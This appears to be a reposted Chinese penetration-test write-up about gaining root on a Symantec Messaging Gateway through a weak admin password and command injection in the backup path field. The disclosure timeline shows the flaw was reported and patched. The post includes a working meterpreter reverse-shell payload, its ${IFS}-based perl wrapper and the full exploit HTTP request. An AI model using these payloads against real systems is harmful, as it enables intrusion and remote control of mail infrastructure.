内容简介：看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行
在这篇文章中，我将向大家分享我们团队最近在对某企业真实渗透测试的一个项目，在该项目中我们发现了赛门铁克电子邮件安全网关（Symantec Messaging Gateway）的一个0day漏洞，利用该漏洞，最终实现了对操作系统的远程命令执行，成功渗透进入目标客户网络。我们从头说起。
前期：枚举大法
在对目标系统的前期信息收集过程中，枚举是一种重要方法！我执行了DNS枚举、Google hacking和目标IP范围NMAP扫描，另外我还在公开的数据泄露源和我们内部的密码数据库中，对目标企业的相关邮箱进行比对查找。服了，最终还真发现了2个不同的用户凭证HASH，其中1个凭证HASH居然还是我们内部密码库于两个月前记录入库的。
在对NMAP扫描结果进行分析后，我发现赛门铁克邮件安全网关（Symantec Messaging Gateway）的管理接口是公开可访问的，之后，我尝试在网上寻找该网关设备的默认用户名密码，通过查看赛门铁克公开的安装说明发现，该网关设备的默认用户名是admin，而密码则由用户在安装时自设。
好了，现在的问题就是：找到用户名admin的密码！最快的思路也无非以下两种：
HASH暴力破解：可以尝试对之前发现的用户凭证HASH进行暴力破解，之后，用其对应的密码登录OWA的Exchange的邮件服务，在其个人邮件中挖挖找找涉及该网关设备可能的密码信息；
弱口令暴力破解：用那些你可以想像到的弱口令，尝试在赛门铁克电子邮件安全网关管理接口进行登录，如admin、123456等等。
哎呀，还真别说，运气爆表了，弱口令这招竟然奏效了，admin的密码是Passw0rd！虽然域控制密码策略要求字母和数字的组合策略，但粗心的IT管理员却这样犯错了。
这算是几个月来我们的”幸运时刻“之一，我们设法获得了目标系统邮件安全网关的访问控制权，但对于整个目标网络系统来说，这种单点突破远远不够。面对这唯一可以利用的突破口，我们希望实现更进一步的渗透。奇妙之旅开始了，老司机要开车了！
假设
在对赛门铁克电子邮件安全网关进行漏洞挖掘之前，可以非常清楚地列出以下几种条件：
程序通过ISO/OVA形式提供下载；
老牌安全厂商产品，或许很难发现重要漏洞？（结果证实并非如此）
固若金汤；
具备复杂的应用程序架构。
不管了，先下载个30天试用版本来把玩把玩再说！
拆解赛门铁克邮件安全网关
在安装了赛门铁克邮件安全网关之后，我发现其产品中存在两方面的安全措施：
受限Shell：可以利用其它电脑通过SSH接入网关设备，但存在接入 shell 的功能限制，并且只对外开放了80和443端口；
设置了GRUB密码保护。
源代码分析
由于受限Shell功能的存在，我无法通过SSH访问源代码接口，虽然有其它方法可以破解这种限制，但所需时间太长，所以我临时决定使用以下方法：
1、用CentOS镜像启动虚拟机（赛门铁克邮件安全网关被部署到虚拟机中）；
2、在CentOS镜像中选择救援修复模式 (rescue installed system)启动；
3、等待引导过程结束；
4、打开 /mnt/sysimage/boot/grub.conf 文件，删除GRUB密码保护一行；
5、使用虚拟机选项卸载镜像文件；
6、重启电脑。
以下为GRUB密码保护行：
现在，由于缺少了GRUB密码保护，我就可以以单用户模式，利用自定义参数启动系统。
以root身份进入
在GRUB菜单模式下，我以单用户root shell权限进入系统，并且不启动其它任何服务，希望籍此以管理员身份关闭受限Shell功能，但经过一番研究后，我决定使用其它更快的方法。我更改了sshd_config配置文件，让root用户有重新设置密码的权限。之后，重新启动系统。
探测所有服务&收集信息
以root方式SSH进入系统之后，我们就可以从内部对该产品的系统服务、端口信息以及源代码情况一探究竟了。首先，来执行一个NMAP扫描，结果如下：
➜ ~ sudo nmap -sS -sV -p - --open 12.0.0.199 -Pn -n PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3 (protocol 2.0) 25/tcp open smtp Symantec Messaging Gateway smtpd 443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1 8443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1 41002/tcp open ssl/unknown 41015/tcp open smtp Symantec Messaging Gateway smtpd 41016/tcp open smtp Symantec Messaging Gateway smtpd 41017/tcp open smtp Symantec Messaging Gateway smtpd 41025/tcp open smtp 41443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
端口443、8443和41443：管理接口服务；
端口41015 – 41025：该产品专为电子邮件分析而设计的正常服务端口；
端口41002：这是什么鬼端口？
41002端口让我陷入怀疑，有必要进一步验证一下该端口对应的服务目的。通过netstat命令检索端口监听进程，发现了2560进程，之后又发现了bmagent驻留进程和agentconfig.xml文件。过程如下：
[root@hacker ~]# netstat -tnlp |grep 41002 tcp 0 0 0.0.0.0:41002 0.0.0.0:* LISTEN 2560/bmagent [root@hacker ~]# [root@hacker ~]# ps aux|grep 2560 mailwall 2560 0.0 0.3 550428 12816 ? Sl 12:35 0:00 /opt/Symantec/Brightmail/scanner/sbin/bmagent -c /data/scanner/etc/agentconfig.xml [root@hacker ~]# [root@hacker ~]# file /opt/Symantec/Brightmail/scanner/sbin/bmagent /opt/Symantec/Brightmail/scanner/sbin/bmagent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
以下是agentconfig.xml内容，尽管它在所有接口上都运行了该对应的服务，但我们只能通过白名单地址对它进行访问。这里先暂且打住，我们来看看源代码。
[root@hacker ~]# cat /data/scanner/etc/agentconfig.xml
<?xml version="1.0"?>
<!-- Default agent configuration file for brightmail -->
<!-- InstallAnywhere Macros inserted -->
<installation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="6.0.0.0">
<configdir>/data/scanner/etc</configdir>
<mtalogfile>/data/logs/maillog</mtalogfile>
<packages>
<package name="agentPackage" installed="true" enabled="true"/>
</packages>
<programs>
<program xsi:type="agentType" name="agent">
<log level="4" period="1" periodUnits="DAY" numberRetained="30">/data/logs/scanner/agent_log</log>
<networkAddress host="*" port="41002"/>
<allowedIPs><allowedIP>127.0.0.1</allowedIP>
<allowedIP>12.0.0.199</allowedIP>
<allowedIP>1.1.1.1</allowedIP>
<allowedIP>1.1.1.2</allowedIP>
<allowedIP>1.1.1.3</allowedIP></allowedIPs>
<ssl certFile="/data/scanner/etc/agent.cert" keyFile="/data/scanner/etc/agent.key"/>
</program>
</programs>
</installation>
定位源代码文件
我用以上类似方法找到了源码的存放位置。以下输出显示了其web服务和服务启动执行命令对应的进程ID：
[root@hacker ~]# netstat -tnlp |grep 443 tcp 0 0 :::41443 :::* LISTEN 2632/jsvc.exec tcp 0 0 :::8443 :::* LISTEN 2632/jsvc.exec tcp 0 0 :::443 :::* LISTEN 2632/jsvc.exec [root@hacker ~]# [root@hacker ~]# ps aux|grep 2632 bcc 2632 2.1 13.8 3482224 541216 ? Sl 12:35 0:44 jsvc.exec -user bcc -home /usr/java/latest -wait 1200 -pidfile /var/run/jsvc.pid -outfile /data/logs/bcc/catalina.out -errfile &1 -Xmx800M -XX:MaxPermSize=128m -Djvm=bcc -Djava.awt.headless=true -Djava.util.logging.config.file=/data/bcc/conf/logging.properties -Dorg.apache.jasper.compiler.Parser.STRICT_QUOTE_ESCAPING=false -Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true -Dcatalina.base=/data/bcc -Dcatalina.home=/usr/share/apache-tomcat-7.0.62 -Djava.io.tmpdir=/data/bcc/temp -cp /usr/share/java/commons-daemon.jar:/usr/share/apache-tomcat-7.0.62/bin/bootstrap.jar:/usr/share/apache-tomcat-7.0.62/bin/tomcat-juli.jar org.apache.catalina.startup.Bootstrap root 8106 0.0 0.0 103312 856 pts/0 S+ 13:10 0:00 grep 2632 [root@hacker ~]#
从上可以看出一个名为bcc的文件目录，而所有应用管理接口的源码就存储在 /data/bcc 文件夹内，之后，我用SCP命令把该文件夹内所有文件打包并转移出系统。
继续探寻未知服务
OK，我们获得了源码，那么自然想知道之前提及的41002端口对应的服务用途是什么。此时，面对 JAVA 源码，我最喜欢的java反编译器 jd-gui 派上用场了。
既然该端口对应服务只能通过白名单才能发起访问，那么，本机应该也在此范围之内，而且对一般实例和服务来说，127.0.0.1应该也属白名单之列。经过一番查找分析，我发现在 backupNow 函数下存在着一些与41002端口相关的代码，如下：
try
{
if (this.log.isInfoEnabled()) {
this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.start"));
}
String scriptName = NameHelper.getDbBackup();
AgentResultTO result = ScriptHelper.executeScript("127.0.0.1", 41002, scriptName,
ScriptParamFactory.createAgentParam(params), 2, AgentSettingsDAO.TimeoutLength.Infinite);
if (this.log.isInfoEnabled()) {
this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.end"));
}
if (result.isError())
{
String message = ScriptHelper.decodeMessage(result);
ScriptHelper.logError("error.agent.script.databaseBackup", message);
ScriptHelper.generateError("error.agent.script.databaseBackup", message);
}
}
catch (BrightmailException e)
{
ScriptHelper.generateError("error.agent.script.databaseBackup", e.getMessage());
}
从以上代码可知，应用程序在运行过程中，向该服务发送了一个脚本名称和参数，该脚本名称为一个可执行脚本文件，而 scriptName 参数则调用了 getDbBackup 函数：
public static String getDbBackup()
{
if (dbBackup == null)
{
StringBuilder builder = new StringBuilder(25);
builder.append("$SCRIPTSDIR$$/$");
builder.append("db-backup");
dbBackup = builder.toString();
}
return dbBackup;
}
COOL！请认真观察以上代码，现在我们知道哪个脚本文件是被该服务执行了，来找找看：
[root@hacker bcc]# find /opt/ -type f|grep 'db-backup' /opt/Symantec/Brightmail/cli/bin/db-backup /opt/Symantec/Brightmail/cli/sbin/db-backup /opt/Symantec/Brightmail/cli/man/man1/db-backup.1 [root@hacker bcc]# [root@hacker bcc]# cat /opt/Symantec/Brightmail/cli/bin/db-backup #!/bin/sh . /data/scanner/etc/brightmail-env /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup "$@"
真是越来越有意思了！当该服务启动后，它将会执行db-backup脚本，该脚本正常情况下是通过sudo命令执行的。到此，我们可以尝试分析到底是哪个web前端服务执行调用了这些流程。在strust.xml文件中，我们发现了具体调用相关方法和类的URL：
<action path="/backup/add" forward="/backup/action2.do?method=add"/>
<action path="/backup/edit" forward="/backup/action2.do?method=edit"/>
<action path="/backup/backupNow" forward="/backup/action2.do?method=showBackupNow"/>
<action path="/backup/action2"
type="com.symantec.smg.controlcenter.disasterrecovery.backup.BackupAction"
name="backupForm"
scope="request"
parameter="method"
validate="false"
input="/admin_backup_restore.jsp">
<forward name="success" path="/admin_backup_edit.jsp"/>
</action>
综上所述，这意味着，以下前端链接对应着该服务的执行调用：
/brightmail/admin/backup/backupNow.do
让我们在web界面中看看它到底长啥样：
OH，这是Symantec邮件网关的 备份服务 ！在该服务下，可以利用FTP或SCP方式把备份文件存储到另一台远程服务器中（该环境中，另一台远程存储服务器为12.0.0.15）。可能由于这种备份方式颇花费时间，所以在产品设计时就被放到了后台进行，前面提及的41002端口正是该服务的对应运行端口。好吧，现在，我们来看看12.0.0.15执行了些什么具体进程：
[root@hacker bcc]# ps aux|grep 12.0.0.15 mailwall 11296 0.0 0.0 108204 1308 ? S 13:37 0:00 /bin/sh /opt/Symantec/Brightmail/common/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual root 11297 0.0 0.0 175096 2672 ? S 13:37 0:00 /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual root 11298 5.0 0.5 173584 23132 ? S 13:37 0:00 /usr/bin/perl -w /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual root 11303 0.0 0.0 57244 2400 pts/2 Ss+ 13:37 0:00 /usr/bin/scp -P 22 -q /data/tmp/db-backup.10.6.2-7.brightmail.Apr-26-17-13-37.tar root@12.0.0.15:/tmp.full.manual.tar.bz2 root 11304 0.0 0.0 59700 2952 pts/2 S+ 13:37 0:00 /usr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -p22 -q -lroot 12.0.0.15 scp -t /tmp.full.manual.tar.bz2 root 11307 0.0 0.0 103308 872 pts/0 S+ 13:37 0:00 grep 12.0.0.15 [root@hacker bcc]#
天了噜，综合这些进程和前面的端口监听结果可以发现，前面的web前端正通过参数设置方法利用bmagent服务，执行SSH文件转移。而在此SSH的应用过程中，可能会存在命令注入漏洞。
我们来找找看其输入验证参数，我敢确定在数据被转移到bmagent服务之前，在其web端一定存在着某种输入验证。
寻找脆弱性验证参数
以下为源码中的输入验证实现部分：
if (storeRemoteBackup)
{
if (EmptyValidator.getInstance().isValid(remoteBackupAddress))
{
exceptionMsgKeys.add("error.backup.host.ip.required");
focusElement = "remoteBackupAddress";
}
else if ((!DomainValidator.getInstance().isValid(remoteBackupAddress)) &&
(!RoutableIpValidator.getInstance().isValid(remoteBackupAddress)))
{
exceptionMsgKeys.add("error.backup.host.ip.invalid");
focusElement = "remoteBackupAddress";
}
if (EmptyValidator.getInstance().isValid(port))
{
exceptionMsgKeys.add("error.backup.host.port.empty");
focusElement = "remoteBackupPort";
}
else if (!TcpUdpPortValidator.getInstance().isValid(port))
{
exceptionMsgKeys.add("error.backup.host.port.invalid");
focusElement = "remoteBackupPort";
}
String path = backupForm.get("remoteBackupPath").toString();
if (EmptyValidator.getInstance().isValid(path))
{
exceptionMsgKeys.add("error.backup.path.empty");
focusElement = "remoteBackupPath";
}
else
{
UsAsciiValidator v = UsAsciiValidator.getInstance();
if (!v.isValid(path))
{
exceptionMsgKeys.add("error.backup.path.only.ascii.allowed");
focusElement = "remoteBackupPath";
}
}
}
该验证主要具备以下几方面要求：
remoteBackupAddress值不能为空；
remoteBackupAddress必须为远程IP地址；
端口信息不能为空；
端口必须为有效TCP/UDP端口；
路径不能为空；
路径值最终必须为ASCII。
仔细一想，在路径参数值中存在明显的命令注入漏洞。
漏洞利用路线
1、使用用户名密码登入web前端；
2、浏览/brightmail/admin/backup/backupNow.do界面；
3、选择“Store backup on a remote location”（将备份文件存储到远程服务器中）；
4、选择SCP作为文件传输协议；
5、填写SSH服务能有效发现的相应远程IP地址、端口和存储目录信息（可以使用你本机KALI的ssh，存储目录这里为tmp）；
6、开启““Requires authentication”（身份认证）选项；
7、填写有效的SSH用户名密码验证信息；
8、把Payload置于tmp请求参数之后，使用 $() 或 “ 方式执行命令注入。
在Payload测试中，使用空格（SPACE）可能会导致脚本执行失败，于是，我采用了 $IFS 方式（内部域分隔符）来代替空格。
POC
由于我喜欢用meterpreter，所以在此首先利用msfvenom生成了 python 版本的Payload：
msfvenom -p python/meterpreter/reverse_tcp LHOST=12.0.0.1 LPORT=8081 -f raw
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMi4wLjAuMScsODA4MSkpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
由于需要在python -c “PAYLOAD”命令中使payload能有效通过，而使用空格又可能发生异常，所以，在使用$IFS方式之后的样式为python${IFS}-v${IFS}”PAYLOAD”。但是还存在一个问题，python语言的Payload中，在初始定义头的import和base64之间还有一个空格，而且${IFS}只对 linux 有效，不能被python识别！
该使用点奇技淫巧了！我可以使用 perl 语言的Payload啊！因为在我之前的渗透测试中，发现可以利用perl来创建无空格的Payload。所以，就这样暗度陈仓地用perl语言Payload来实现了我们夹杂其中的python方式Payload。如下：
cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack("H*").first
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
最终的Payload如下：
perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')
在该Payload中包含了一个python meterpreter payload，我们尝试来获取系统shell看看，通过以下HTTP POST触发漏洞：
POST /brightmail/admin/backup/performBackupNow.do HTTP/1.1
Host: 12.0.0.199:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1188
Referer: https://12.0.0.199:8443/brightmail/admin/backup/backupNow.do
Cookie: JSESSIONID=67376D92B987724ED2309C86990690E3; userLanguageCode=en; userCountryCode=US; navState=expanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded; JSESSIONID=0360B579A58BBBB8D74FEE4767BCAC10
Connection: close
Upgrade-Insecure-Requests: 1
pageReuseFor=backup_now&id=&symantec.brightmail.key.TOKEN=48f39f735f15fcaccd0aacc40b27a67bf76f2bb1&backupData=full&customType=configuration&includeIncidentMessages=true&includeReportData=true&includeLogData=true&backupTo=2&remoteBackupProtocol=SCP&remoteBackupAddress=127.0.0.1&remoteBackupPort=22&remoteBackupPath=tmp$(perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')&requiresRemoteAuthentication=true&remoteBackupUsername=root&remoteBackupPassword=qwe123
然后，利用msf创建监听，并最终成功获得了对目标系统的反弹控制权：
msf exploit(handler) > run [*] Started reverse TCP handler on 12.0.0.1:4444 [*] Starting the payload handler... [*] Sending stage (39842 bytes) to 12.0.0.199 [*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.199:54077) at 2017-04-30 17:03:26 +0300 meterpreter > shell Process 15849 created. Channel 1 created. sh: no job control in this shell sh-4.1# id uid=0(root) gid=0(root) groups=0(root) sh-4.1#
在后续阶段，我们将使用一些post exploitation方式继续对目标系统进行渗透验证，由于包含客户具体信息，就不在此赘述。可以 点此查看 其它详细的metasploit执行信息。
Metasploit 执行视频
https://v.qq.com/x/page/z0514xw4bn1.html
漏洞报送时间表
2017年4月24日 – 漏洞发现；
2017年4月24日 – 与公司内部客户成员共享所有漏洞细节和短期的内部缓解措施；
2017年4月27日 – 与Symantec进行漏洞初报；
2017年5月2日 – Symantec 产品团队确认漏洞有效；
2017年5月25日 – 我们咨询漏洞修复状态；.
2017年5月25日 – Symantec回复称他们正在开发补丁，计划于6月发布，届时将及时告知我们；
2017年6月8日 – 我们的客户告知我们Symantec已经在网上发布了该产品的修复补丁；
2017年6月10日 – 漏洞公开。
*参考来源： pentestlab ，freebuf小编clouds编译，转载请注明来自FreeBuf.COM
以上所述就是小编给大家介绍的《看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
猜你喜欢:
- 必盛互联赛门铁克SSL证书 引爆冰点价
- 赛门铁克：表单劫持“力拔头筹”，成为2018年头号威胁
- 赛门铁克 Norton ConnectSafe 将于 11 月 15 日停服
- Mozilla 决定将终止支持赛门铁克证书的时间延后
- 赛门铁克邮件网关身份验证绕过漏洞（CVE-2018-12242）分析
- 赛门铁克Altiris权限提升漏洞分析（CVE-2018-5240）
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
疯狂Java讲义
李刚 / 电子工业出版社 / 2012-1-1 / 109.00元
《疯狂Java讲义(附光盘第2版)》是《疯狂Java讲义》的第2版，第2版保持了第1版系统、全面、讲解浅显、细致的特性，全面介绍了新增的Java 7的新特性。 《疯狂Java讲义(附光盘第2版)》深入介绍了Java编程的相关方面，全书内容覆盖了Java的基本语法结构、Java的面向对象特征、Java集合框架体系、Java泛型、异常处理、Java GUI编程、JDBC数据库编程、Java注释、......一起来看看 《疯狂Java讲义》 这本书的介绍吧!
